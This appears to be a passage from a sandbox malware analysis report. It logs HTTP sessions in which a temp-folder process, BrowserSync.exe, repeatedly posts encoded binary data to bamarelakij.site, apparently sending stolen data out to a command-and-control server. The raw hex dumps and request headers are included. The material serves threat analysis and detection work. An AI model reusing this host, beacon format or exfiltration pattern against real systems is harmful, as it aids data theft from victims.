2025-01-09 13:41:32 UTC	212	OUT	Data Raw: 00 00 00 00 fd ff ff ff 00 00 00 00 03 00 00 00 92 00 01 95 00 00 00 e8 ae 27 24 08 00 00 00 99 00 00 00 45 ab c5 66 71 e3 95 29 00 00 00 00 74 57 93 12 00 00 00 00 83 00 00 00 c9 60 60 49 60 c8 00 00 00 00 00 74 57 93 12 00 00 00 00 31 00 00 00 28 a5 03 03 16 00 00 00 00 00 00 00 96 00 96 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 a5 03 83 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 28 a5 82 03 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: '$Efq)tW``I`tW1(((
2025-01-09 13:41:32 UTC	814	IN	HTTP/1.1 204 No Content Date: Thu, 09 Jan 2025 13:41:32 GMT Connection: close ews: PuwyymoQi+JtPN4ute+6ODpPd+ApSWsY9IWQJs6G8Wi2/wA3/Nkcmc/Wio/7MyGLdkzTj8aV5zw cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Bxn%2BtoAYWTf1Znw7AXd%2Fs%2FI9xvjvnfKxXslpk354eZgrjsgFzlOmFCKuzZqnPOSguirnSIbE9%2BSTvAOS4nzWcJjZDcEilzxf3oBW%2BrPaEIEZElvNrkEpRrFA9ZTBUjs0KLPI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff4d8701a7e431c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1600&min_rtt=1590&rtt_var=618&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2839&recv_bytes=1256&delivery_rate=1741204&cwnd=237&unsent_bytes=0&cid=c0e31bcab37b22d1&ts=245&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	50012	172.67.174.91	443	4324	C:\Users\user\AppData\Local\Temp\BrowserSync.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 13:41:33 UTC	408	OUT	POST /64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4eMxxn6chYW44JbQRqTNknnCoZoJ5qDg%3D%3D HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 x: PuwyymoQi+JtPN4ute+6ODpPd+ApSWsY9IWQJs6G8Wi2/wA3/Nkcmc/Wio/7MyGLdkzTj8aV5zw Content-Length: 380 Host: bamarelakij.site
2025-01-09 13:41:33 UTC	380	OUT	Data Raw: 00 00 00 00 fd ff ff ff 00 00 00 00 03 00 00 00 92 00 01 95 00 00 00 e8 3b 7f 3c 08 00 00 00 95 00 00 00 45 ab c5 66 71 e3 95 29 00 00 00 00 74 9d bf 1e 00 00 00 00 81 00 00 00 49 60 48 00 00 00 00 74 9d bf 1e 00 00 00 00 31 00 00 00 28 a5 03 03 16 00 00 00 00 00 00 00 96 00 96 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 a5 03 83 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 28 a5 82 03 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 95 00 00 00 38 80 ca 11 08 00 00 00 94 00 00 00 45 ab c5 66 71 e3 95 29 00 00 00 00 1c 40 65 88 00 00 00 00 01 00 00 00 c8 48 00 00 00 00 1c 40 65 88 00 00 00 00 31 00 00 00 28 a5 03 03 16 Data Ascii: ;<Efq)tI`Ht1(((8Efq)@eH@e1(
2025-01-09 13:41:33 UTC	808	IN	HTTP/1.1 204 No Content Date: Thu, 09 Jan 2025 13:41:33 GMT Connection: close ews: PuwyymoQi+JtPN4ute+6ODpPd+ApSWsY9IWQJs6G8Wi2/wA3/Nkcmc/Wio/7MyGLdkzTj8aV5zw cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tEbD6NkBtyHSjD5NXoTAyBy5VXEEAp1TXvCbFUCIdVhS%2B1MioqNYnXz6z7ewgllR6zTSmggR5kIM0tcvLz9kDCw%2Bm3p4Y%2BR95k4vKeUyLCXLn2ifD3nlHGPxWolxdpUTRl7e"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff4d874fd1b8c65-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2067&min_rtt=2033&rtt_var=786&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2839&recv_bytes=1424&delivery_rate=1436301&cwnd=204&unsent_bytes=0&cid=76dd83d8aedb36e5&ts=319&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	50022	172.67.174.91	443	4324	C:\Users\user\AppData\Local\Temp\BrowserSync.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 13:41:34 UTC	410	OUT	POST /64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4eMxxn6chYW44JbQRqTNknnCoZoJ5qDg%3D%3D HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 x: PuwyymoQi+JtPN4ute+6ODpPd+ApSWsY9IWQJs6G8Wi2/wA3/Nkcmc/Wio/7MyGLdkzTj8aV5zw Content-Length: 14825 Host: bamarelakij.site
2025-01-09 13:41:34 UTC	14825	OUT	Data Raw: 00 00 00 00 fd ff ff ff 00 00 00 00 03 00 00 00 92 00 01 95 00 00 00 6e 96 bf 0f 08 00 00 00 ae 39 00 00 45 ab c5 66 71 e3 95 29 00 00 00 00 37 4b df 87 00 00 00 00 02 00 00 00 c9 60 00 48 00 00 00 00 37 4b df 87 00 00 00 00 3d 9c 00 00 28 a5 81 02 96 00 00 04 04 00 bc 0a 84 ac 5d f5 de 82 ff ff ff ff ff ff ff ff 0d 00 0a 00 a3 39 b0 31 31 b2 39 2e 32 b2 b9 2e 22 2b ab 24 a5 a6 27 23 27 27 17 35 38 b3 80 00 08 00 01 02 00 00 00 00 00 00 83 02 00 00 00 00 00 00 80 01 02 fe fd 22 2b ab 24 a5 a6 27 23 27 27 a9 2c 29 28 23 29 23 a9 2b 2b a1 a8 28 2c a9 a5 ab 24 a5 28 25 25 24 ac a8 ab ac ac 23 a7 27 a0 25 a8 a9 a1 a7 24 2d a0 22 21 24 aa a7 ab a7 a9 28 22 2b a0 a7 a4 a8 2b a7 21 24 a3 a6 a4 a2 27 2d a8 2d 26 a0 21 ac 22 a5 ab 2c a3 a9 aa a8 27 a9 a2 a4 27 a4 Data Ascii: n9Efq)7K`H7K=(]9119.2."+$'#''58"+$'#'',)(#)#++(,$(%%$#'%$-"!$("++!$'--&!",''
2025-01-09 13:41:35 UTC	810	IN	HTTP/1.1 204 No Content Date: Thu, 09 Jan 2025 13:41:35 GMT Connection: close ews: PuwyymoQi+JtPN4ute+6ODpPd+ApSWsY9IWQJs6G8Wi2/wA3/Nkcmc/Wio/7MyGLdkzTj8aV5zw cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=42Fsxv38fGUjFOv0PUgJ60kI%2BewRczZpKHvoGVaLgTlLYjNnXRO8AgRRraEQ2pgZmSK6YSVJQvmmu9f1yfD%2BuqH%2BEQeQ3HxZGxjQdPMpATsUFwhkrlYhGzFYlmH66ayg4Kcg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff4d87c79c92365-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1904&min_rtt=1899&rtt_var=723&sent=8&recv=19&lost=0&retrans=0&sent_bytes=2839&recv_bytes=15893&delivery_rate=1502830&cwnd=154&unsent_bytes=0&cid=63951a9c11a8b464&ts=319&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	50031	172.67.174.91	443	4324	C:\Users\user\AppData\Local\Temp\BrowserSync.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 13:41:37 UTC	410	OUT	POST /64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4eMxxn6chYW44JbQRqTNknnCoZoJ5qDg%3D%3D HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 x: PuwyymoQi+JtPN4ute+6ODpPd+ApSWsY9IWQJs6G8Wi2/wA3/Nkcmc/Wio/7MyGLdkzTj8aV5zw Content-Length: 74816 Host: bamarelakij.site
2025-01-09 13:41:37 UTC	15331	OUT	Data Raw: 00 00 00 00 fd ff ff ff 00 00 00 00 03 00 00 00 92 00 01 95 00 00 00 07 37 79 16 08 00 00 00 05 24 01 00 45 ab c5 66 71 e3 95 29 00 00 00 00 83 9b bc 0b 00 00 00 00 87 08 00 00 cd 60 53 98 19 1c 9b 9a 9b d2 35 b7 37 b2 b9 c9 05 00 e6 25 b2 c8 49 e6 82 00 e6 02 00 e7 00 00 00 80 ff 7a 00 00 ec 13 a4 37 3a b2 36 14 29 94 10 a1 b7 39 b2 14 2a a6 94 19 10 a1 28 aa 10 1b 1b 18 18 10 20 10 19 17 1a 18 10 a3 24 3d c8 df a6 b4 b1 39 b7 b9 b7 33 3a 10 21 b0 b9 b4 b1 10 22 b4 b9 38 36 b0 bc 10 a0 32 b0 38 3a b2 39 60 e1 6e 00 ec 50 53 a9 bc b9 3a b2 b6 54 29 b2 b3 b4 b9 3a 39 bc 54 b9 b6 b9 b9 17 b2 3c b2 d4 b1 b9 39 b9 b9 17 b2 3c b2 d5 bb b4 37 b4 37 b4 3a 17 b2 3c b2 d4 b1 b9 39 b9 b9 17 b2 3c b2 56 bb b4 37 36 b7 b3 b7 37 17 b2 3c b2 56 b9 b2 39 3b b4 b1 b2 b9 Data Ascii: 7y$Efq)`S57%Iz7:6)9*( $=93:!"8628:9`nPS:T):9T<9<77:<9<V767<V9;
2025-01-09 13:41:37 UTC	15331	OUT	Data Raw: 15 b6 f4 ea d1 0c 9b b2 c5 26 58 ae 03 f6 fa 8f da 0a bb dc 80 fb 25 82 8b 81 f8 d4 7b 82 b9 91 53 0d e7 39 b1 1b 9e 0a 55 7d ac ca 1e 66 9c 9f 10 d1 d2 be 49 9e 6a bd 25 73 47 e8 20 34 2f 53 29 eb 17 0d 70 96 a4 55 4e d5 0b 1e 3e 54 6e 2c ce b4 96 58 3b 79 51 78 56 b5 90 3f 79 38 ee 75 f1 68 d4 8d 69 4e 4f 5e 32 c5 08 bf b1 bb e2 af a5 f0 bc 4a 4f bf 93 7f 2c bd 99 f2 2f cb d2 58 5f eb b9 e3 21 b6 45 db 4f 23 d4 c3 3d fa 69 7d fe 51 a5 6b 87 88 19 97 d2 2e 63 fd 40 28 b0 c3 90 22 7d 63 d4 aa 65 09 05 a7 ca 76 1f d5 da 6c 2a 58 6b 9e da d3 9b 2d 40 e3 b8 33 56 a1 c1 a0 bc d9 42 3d 3d 8c ee 9e 7d d4 82 ad 1a fb 5d 85 e7 62 d6 73 15 02 42 81 9c 7c 55 89 a0 11 f5 2a 79 f5 44 f7 7a 3b a1 dc 3b b8 2d bc 42 57 b6 f6 c6 6b 27 3a a2 e8 8f a6 62 29 f5 b7 a8 76 d1 Data Ascii: &X%{S9U}fIj%sG 4/S)pUN>Tn,X;yQxV?y8uhiNO^2JO,/X_!EO#=i}Qk.c@("}cevlXk-@3VB==}]bsB\|UyDz;;-BWk':b)v
2025-01-09 13:41:37 UTC	15331	OUT	Data Raw: 63 5d ec 9a d2 b0 7f 42 e7 60 86 9d 13 86 8b 7e 33 4d 8d 4d f1 4f 6d d2 41 cb 11 44 f8 59 9b 5d 6d 9e f3 c8 2b 06 12 62 08 1a c1 f9 6a ef 1c 54 36 a6 8a ec 7c 2a ce 25 eb 71 d6 55 5d 53 f8 95 18 33 3f b8 10 0d 5c 4a 6f 88 64 9c 64 d1 e1 91 9d 41 de 87 23 81 53 d1 99 b3 5d a1 36 ac 95 fd fd 6a 98 e1 52 fe a7 9e 3a 36 2d a5 d7 1f 7d 3e 74 ee 72 e8 aa 54 22 5e 12 53 36 d0 6e 34 f9 26 cb 9b 69 0d cb 92 90 3a 7e b0 99 bb 12 74 a9 c3 5f 4f bc f9 9e 43 14 b2 2d 07 68 c9 d5 67 f4 a5 55 c6 fb 39 1e 49 f2 a9 c9 11 b0 34 60 2a 3d 20 37 27 fe b5 4b da a6 f7 d6 e3 a8 2a ef da 5d e0 e7 38 72 a2 be f2 c9 e1 2a a4 e7 29 2d 06 79 e4 02 d7 b7 b4 45 91 2b a0 4e b6 2e 77 d3 ba a2 2e 4f 21 b4 03 33 47 eb d7 fa 83 d9 c1 1b d1 ef e3 99 59 17 fb 89 6a a4 a8 1d 09 8f 24 8a 16 2d Data Ascii: c]B`~3MMOmADY]m+bjT6\|%qU]S3?\JoddA#S]6jR:6-}>trT"^S6n4&i:~t_OC-hgU9I4`= 7'K]8r)-yE+N.w.O!3GYj$-
2025-01-09 13:41:37 UTC	15331	OUT	Data Raw: 2c 5e 6b f2 77 4c 20 ed cf 8b 7e 7f 5c 1d c7 76 b5 dc eb 79 1c c3 46 ec 0e 0f 03 ca b9 2c f2 fb 7c f0 17 aa e5 1a 5e cb 94 18 0d 97 5f 11 f1 b1 5d 51 77 39 2c fd 75 8b fc a5 28 0f da 7b 02 9a 80 e0 88 09 60 0a 1f b4 44 03 7e 89 9b f7 f6 8f a0 89 a7 98 87 db 41 89 0e df f2 bc 63 13 39 94 95 ce 6e 13 65 25 0a 74 70 ac 6c 78 0d 85 57 59 8d 96 19 9c 46 b4 13 d0 c7 ba 1c 85 60 ac 1f 09 74 e8 c6 cb 37 c8 fa d4 c4 e5 5d bc 9c 6e ee 43 53 3c 23 46 6c 27 d1 63 b3 de 59 e8 af 66 6b 13 80 7f bc 9c 36 1a 2b 29 af 70 e1 7e 8e 45 f8 5b 44 5c 8b cb 5d 5e 91 fa 87 c4 cb fa 1c 71 c2 c4 2f 6a d3 15 dc b9 b5 30 ac 29 c2 aa 7b 38 58 4e ea c1 fa 02 94 d8 e6 19 34 e4 74 b1 28 e2 34 70 ca 60 6e cc 96 0d 00 2b 8b 99 c5 af 0c 6a 19 fb 2a 2a 4f 34 5a 79 5c 75 5a f0 e7 53 71 2f 85 Data Ascii: ,^kwL ~\vyF,\|^_]Qw9,u({`D~Ac9ne%tplxWYF`t7]nCS<#Fl'cYfk6+)p~E[D\]^q/j0){8XN4t(4p`n+j**O4Zy\uZSq/
2025-01-09 13:41:37 UTC	13492	OUT	Data Raw: 8f 8e 91 18 c2 de 9e 4d ca 8f 2a 28 e0 27 5e 77 c5 de fb c2 49 3f e7 b7 35 1c 92 2e 46 bf 3d 30 c7 86 df 42 ed bd 64 4d 93 04 d2 61 bf 0a bb d6 41 1b c6 59 d5 64 6e 71 5c 95 30 fb 26 2c 42 b7 c5 16 59 d3 d0 71 35 25 e2 dd 8b 35 db f8 6d c1 be a1 46 3a ce 29 c5 53 6d 9c fc b4 14 c5 23 d8 20 1e cb 11 c5 33 9e 6f 30 e8 77 06 53 7b 75 f7 df 8d 6c bb 2f 0b 16 f2 91 5b 70 0a 0c 75 07 4f 6a 95 d6 04 28 16 c7 7f 11 9d 7a 98 b0 4e 3a d5 33 f0 96 1a 07 83 6c b6 09 35 1b 56 6a 15 96 75 15 32 31 8c fc 4b f7 e0 f5 1c 9a a5 1c f3 67 13 47 2e d3 8f aa 2b f9 9f d4 df 11 c9 15 85 ef 85 d1 5b 2e 85 08 04 f9 4e 5e d0 0d 9d 72 9d 25 ed b7 74 71 93 a9 5a e5 c8 fb 14 de 65 3f de 37 fd 2b 0d d9 c7 f0 db e5 87 df 97 22 c5 ca 53 d8 ed ec 65 a5 4a 8e 20 a9 c9 7e 32 b1 55 4c d0 2d Data Ascii: M*('^wI?5.F=0BdMaAYdnq\0&,BYq5%5mF:)Sm# 3o0wS{ul/[puOj(zN:3l5Vju21KgG.+[.N^r%tqZe?7+"SeJ ~2UL-
2025-01-09 13:41:37 UTC	811	IN	HTTP/1.1 204 No Content Date: Thu, 09 Jan 2025 13:41:37 GMT Connection: close ews: PuwyymoQi+JtPN4ute+6ODpPd+ApSWsY9IWQJs6G8Wi2/wA3/Nkcmc/Wio/7MyGLdkzTj8aV5zw cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ez4s38yZTv9qLNRndjL2WW1yXCCl8FrYVx8mopoPiLZ0GzgZ8okvwa3fge8psGtZQiAnNvaPFbyY7Le6O9DQRPEMJEN1YbzmTbe%2BXa%2FuJGbAgj%2Bre6e3Aq4GIvy68C52SefH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff4d88b6881c472-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1759&min_rtt=1641&rtt_var=699&sent=30&recv=81&lost=0&retrans=0&sent_bytes=2839&recv_bytes=76060&delivery_rate=1779402&cwnd=236&unsent_bytes=0&cid=5e3b00f51f89db13&ts=600&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	50042	172.67.174.91	443	4324	C:\Users\user\AppData\Local\Temp\BrowserSync.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 13:41:38 UTC	407	OUT	POST /64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4eMxxn6chYW44JbQRqTNknnCoZoJ5qDg%3D%3D HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 x: PuwyymoQi+JtPN4ute+6ODpPd+ApSWsY9IWQJs6G8Wi2/wA3/Nkcmc/Wio/7MyGLdkzTj8aV5zw Content-Length: 35 Host: bamarelakij.site
2025-01-09 13:41:38 UTC	35	OUT	Data Raw: 00 00 00 00 fd ff ff ff 00 00 00 00 03 00 00 00 92 00 02 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii:
2025-01-09 13:41:38 UTC	732	IN	HTTP/1.1 204 No Content Date: Thu, 09 Jan 2025 13:41:38 GMT Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BsHJr6faYXPXIFADRG%2BnirKbUiJD0xpM4fKDrMvtv8nS8roRmGi8X%2FDO4Byih9OMUH4ODGH4GUhfBeWup%2BYvJKC1VAw%2FwhJiXqLz3BuYo%2FlXodynDK%2BPY39Wmd2dYGSI4kVd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff4d8938d010f99-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1710&min_rtt=1703&rtt_var=653&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=1078&delivery_rate=1658148&cwnd=164&unsent_bytes=0&cid=368e95d50b1dce61&ts=242&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	50078	172.67.174.91	443	6108	C:\Users\user\AppData\Local\Temp\BrowserSync.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 13:41:43 UTC	411	OUT	POST /64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4eMxxn6chYW44JbQRqTNknnCoZoJ5qDg%3D%3D HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 x: PuwyymoQi+JtPN4ute+6ODpPd+ApSWsY9IWQJs6G8Wi2/wA3/Nkcmc/Wio/7MyGLdkzTj8aV5zw Content-Length: 110937 Host: bamarelakij.site
2025-01-09 13:41:43 UTC	15331	OUT	Data Raw: 00 00 00 00 fd ff ff ff 00 00 00 00 03 00 00 00 92 00 01 95 00 00 00 e8 96 ef 00 08 00 00 00 ce 5a 01 00 45 ab c5 66 71 e3 95 29 00 00 00 00 74 4b f7 00 00 00 00 00 83 81 00 00 c9 60 48 49 4c 60 48 53 a1 34 39 b7 b6 b2 ec 1a a1 1d 2e aa b9 b2 39 b9 2e 35 b7 37 b2 b9 2e a0 38 38 22 b0 3a b0 2e 26 b7 b1 b0 36 2e a3 b7 b7 b3 36 b2 2e a1 34 39 b7 b6 b2 2e aa b9 b2 39 10 22 b0 3a b0 c8 cc 60 48 d3 22 b2 33 b0 ba 36 3a ec 1e a1 1d 2e aa b9 b2 39 b9 2e 35 b7 37 b2 b9 2e a0 38 38 22 b0 3a b0 2e 26 b7 b1 b0 36 2e a3 b7 b7 b3 36 b2 2e a1 34 39 b7 b6 b2 2e aa b9 b2 39 10 22 b0 3a b0 2e 22 b2 33 b0 ba 36 3a ec 1a b1 34 39 b7 b6 b4 ba b6 af 31 39 b7 bb b9 b2 39 b9 2e a1 34 39 b7 b6 b2 2e 38 39 b7 33 b4 36 b2 b9 2e 22 b2 33 b0 ba 36 3a 2e 26 b7 b3 b4 37 10 22 b0 3a b0 Data Ascii: ZEfq)tK`HIL`HS49.9.57.88":.&6.6.49.9":`H"36:.9.57.88":.&6.6.49.9":."36:49199.49.8936."36:.&7":
2025-01-09 13:41:43 UTC	15331	OUT	Data Raw: bb 8b 72 6e 84 1b 8b 11 8a b9 71 cf db b0 c3 92 36 80 cd 7e 73 13 42 02 b5 5e aa d9 57 14 89 f5 c2 74 bd f3 1a fe a1 f5 d8 e7 6d 05 7b 12 27 1f de 5d 60 66 2d 42 f5 40 44 aa 2b f1 83 6b 82 be 02 fb 12 0e 0a b0 ae 1a 02 c9 7d eb bb 24 5f 21 36 1e 3d 95 74 6c 23 93 dc 4b ae ac 63 d8 2e 42 28 ec 3d 29 0b 22 4b 68 0d b0 34 65 2d 41 25 5e 58 a6 79 d6 ae 2b f5 0a ee 6f 1d 9a 1f 18 a6 ab ab 1b e1 92 62 7b 59 dd e9 5a 00 45 ff 88 6b 83 50 79 f7 cb 52 ec 46 0f 0c 1f c5 3a 05 90 28 6d 35 72 59 cc e6 c8 42 59 af 0f 23 1e 4b 31 a9 f4 05 bd 1e 31 d9 f5 0d 34 57 2f 63 7a c1 3d 25 09 b9 1e 68 e1 84 85 be a1 c7 96 07 27 7e d6 ce 84 af ae a8 f2 26 3c ba 5f a1 e4 78 f9 84 24 6e ee 9f 2c 3f f9 6d 56 47 2b ce b0 d3 83 28 24 6f 40 82 42 35 0e 8e 47 96 e1 2b c2 26 8d bc cb 7b Data Ascii: rnq6~sB^Wtm{']`f-B@D+k}$_!6=tl#Kc.B(=)"Kh4e-A%^Xy+ob{YZEkPyRF:(m5rYBY#K114W/cz=%h'~&<_x$n,?mVG+($o@B5G+&{
2025-01-09 13:41:43 UTC	15331	OUT	Data Raw: dd a7 31 e8 7b 0c ef aa e7 48 b3 2e 34 87 4b 09 9f 4e b5 cc e1 e0 56 ea c8 f8 3e 19 c3 2c 9e 6d 62 55 a7 92 bc 22 92 7a 26 07 6b 56 ee ee 8c 52 a7 4e f7 1f 20 30 16 4c c3 95 72 68 fe c4 ac 50 e3 c7 d2 7b 2b aa 64 f2 25 00 11 e0 d7 46 92 c5 6d 54 8f 0e f4 54 da 53 36 af 94 2b a9 bf 63 7f 35 1f 1f e0 d8 33 bd e5 95 4e 2d 94 40 f6 35 00 b5 bf a5 de 93 03 1f 8a 5d e9 ca da 53 ca f7 3d 70 13 5c d5 a5 54 6e ba e9 b8 97 2a e1 35 64 1c a0 27 21 9c f5 c1 79 c0 83 94 66 e7 95 16 a5 d2 a0 96 ab d3 f9 24 52 9b 09 21 03 4a 27 e9 2c 3e 9d 7d 98 1e 93 93 77 b1 90 f8 51 9e 31 89 5f b5 74 bc 47 9f 43 bb 99 03 ee 68 f7 dc 7a ba a7 68 5b 3c 72 86 69 61 e3 1a 75 8e 49 63 e5 40 27 c4 fc f2 53 c3 27 f4 dc 2b de 20 1a bb c0 59 de 24 1e bb 1d d2 80 f3 20 14 05 ab 9e ed d6 f7 26 Data Ascii: 1{H.4KNV>,mbU"z&kVRN 0LrhP{+d%FmTTS6+c53N-@5]S=p\Tn*5d'!yf$R!J',>}wQ1_tGChzh[<riauIc@'S'+ Y$ &
2025-01-09 13:41:43 UTC	15331	OUT	Data Raw: 8d 88 3e 22 e8 64 ae 86 2f c3 5f 4d 53 a8 0b f5 ce c1 da d4 2f 2e 1c bd 2f 76 d8 07 75 c1 0a ac 12 54 84 d6 61 b3 77 0b 57 32 db ef 2f 3b 25 58 d6 b6 63 d1 c3 cd 2d 8e c9 ea b1 c8 e8 28 52 90 f2 83 08 48 86 54 3c 24 9f 15 76 b3 9d 93 06 07 9a e6 c8 98 30 f8 48 3f 6c 0a 91 e7 ea d7 61 8a e9 80 38 38 55 b0 4f 46 80 47 87 76 d1 3d 1a 57 24 0d 07 18 52 45 7a 13 d8 29 57 19 62 9b 2e 1d a9 65 50 f8 3c 5c 13 9e 87 b8 49 6a 47 0b 42 4b fd 26 81 11 1b da 21 8f 87 b1 7c 65 e8 e1 93 ab e6 e4 da db 21 6a cd 1c 3e f8 cb 61 fe ff 77 64 c6 82 1d 92 74 c6 bc 11 e8 cd 61 0c 77 b9 3a 58 6c eb 39 de 8c 56 f0 3f 93 87 e5 3e 9a df 4b 7f 06 d0 9b 6b 44 42 8f 45 be dc e7 14 10 31 ae 95 7a f0 18 43 8b 0c 9e 1e 7b ea 1e ed 3d a5 42 ef c4 e1 38 bf e4 f9 82 1d 96 74 c6 b2 11 e8 dd Data Ascii: >"d/_MS/./vuTawW2/;%Xc-(RHT<$v0H?la88UOFGv=W$REz)Wb.eP<\IjGBK&!\|e!j>awdtaw:Xl9V?>KkDBE1zC{=B8t
2025-01-09 13:41:43 UTC	15331	OUT	Data Raw: a4 0e 8b 39 5d 92 3a 27 fd ca cd 6a 1e 4e 1f 08 41 17 e5 f4 56 43 78 a5 5d ee b8 d1 6d 99 ed d0 86 3b 38 cd 8c 4f 24 14 06 c7 85 63 8f 18 a0 89 b6 b1 3c 4e 89 a3 1f 60 96 59 e1 d6 64 db 5c a2 2b 96 16 22 f7 75 4e 74 86 df 68 d5 6c 34 c9 b6 35 c9 b6 5b 27 fb 7d de 8f 3d 99 49 05 a0 cc d9 e6 3b a4 12 06 ed e7 f7 0b c3 61 b5 f6 49 27 df 89 37 1f 2c dd a5 1d c8 8f a7 98 5d b5 c7 ef c4 db 6b 67 73 7d f0 c2 1f ff de a9 8c 18 84 6a d3 18 6e 93 c6 5b bd 4d 02 a7 b1 e9 9f 61 6f bc 49 74 34 5f 33 d2 d9 33 f1 4b b7 8f 26 21 62 98 4c a4 26 ee 8f 70 8c f9 e6 b0 e2 bf 6b 9e 37 92 96 3b 1b eb 87 95 51 a0 82 9b 49 45 10 d9 f1 d8 2a 84 a3 da 5f a7 a6 ec 27 2d 37 0e f5 1f d0 53 36 e3 26 ed 42 5b 6d a8 8f a7 6c 3f 72 f5 07 95 17 b3 03 88 11 16 de 37 29 cd 1c 41 19 a3 7a 6f Data Ascii: 9]:'jNAVCx]m;8O$c<N`Yd\+"uNthl45['}=I;aI'7,]kgs}jn[MaoIt4_33K&!bL&pk7;QIE*_'-7S6&B[ml?r7)Azo
2025-01-09 13:41:43 UTC	15331	OUT	Data Raw: 10 60 73 f0 09 02 84 48 72 90 cb e2 f2 e0 20 58 20 17 20 fb 7e f4 4f f4 13 f4 c2 bb f7 6b fe fe 0c 78 26 eb f7 eb ea aa df 7d 9b ee 2a bf b5 f1 7f 45 68 6e 55 83 69 b1 6d 5d 24 13 24 d4 22 57 ad 0b 90 32 4e 08 79 48 7a d4 89 21 63 09 e3 d2 62 fb 1e 63 e4 dc f7 fe e8 1c 90 32 61 7c c7 42 08 59 33 7e 6c 7c a9 f1 bf 8c cf 8c ff e4 7c 8f 63 bf c6 89 80 00 00 00 78 c2 d8 5a 25 04 9c bd 4f 08 79 ce 92 21 64 d2 f7 08 21 47 df 27 04 bc fc 9a 21 64 cc 15 90 52 39 5a 21 04 8c 9b 4f 88 f1 bf 8d ff 69 7c e7 63 ef 1a 4f 92 39 00 00 00 00 60 8b c6 ea 7f 63 74 69 eb 1b 1a c9 4d a5 f5 9e 33 b7 ad bb bc f5 a4 10 8e f5 be 17 ca 04 7e dc 89 b6 b9 